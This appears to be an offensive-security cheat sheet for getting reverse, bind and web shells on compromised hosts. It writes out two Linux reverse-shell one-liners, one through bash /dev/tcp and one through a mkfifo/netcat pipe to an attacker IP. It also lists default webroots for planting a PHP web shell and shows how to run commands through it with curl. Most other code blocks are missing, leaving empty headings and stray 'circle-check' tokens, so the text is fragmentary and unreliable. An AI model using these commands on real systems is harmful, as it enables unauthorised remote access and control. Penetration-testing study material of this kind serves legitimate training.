Setting up Shells

This is a collection of few useful scripts for creating reverse, bind and web shells.

Reverse Shells:

Preparing the shell script:

Linux target:

$ bash -c 'bash -i >& /dev/tcp/1.1.1.1/PORT 0>&1'
# OR 
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENEING PORT> >/tmp/f

Other resources online will be helpful in other cases if we need another programming language to execute the script/code not only bash or PHP or even if the payloads above don't work.

Windows Target:

Setting up a listener on our attacking machine:

Using netcat

Using metasploit

Results of the injection:

circle-check

Interactive Shells

In order to upgrade our shell to a fully TTY let's follow these steps:

Full TTY

circle-check
circle-exclamation

Bash

Perl

Ruby

Lua

Find

Vim

Bind shells:

Listener on the target machine:

Linux Target:

Windows target:

Connecting to the target:

circle-check

Web Shells

For more Web Shell techniques and scripts, have a look at this.

Preparing the file

Injecting to the webroot

Web Server
Default Webroot

Apache

/var/www/html/

Nginx

/usr/local/nginx/html/

IIS

c:\inetpub\wwwroot\

XAMPP

C:\xampp\htdocs\

We can check these directories to see which webroot is in use and then use echo to write out our web shell. For example, if we are attacking a Linux host running Apache, we can write a PHP shell with the following command:

Execution

  1. Visit the shell.php page on the compromised website, and use ?cmd=id to execute the id command: http://SERVER_IP:PORT/shell.php?cmd=id We'll get the result of the id command on the web page!

  2. Or Use curl command:$ curl http://SERVER_IP:PORT/shell.php?cmd=id

Last updated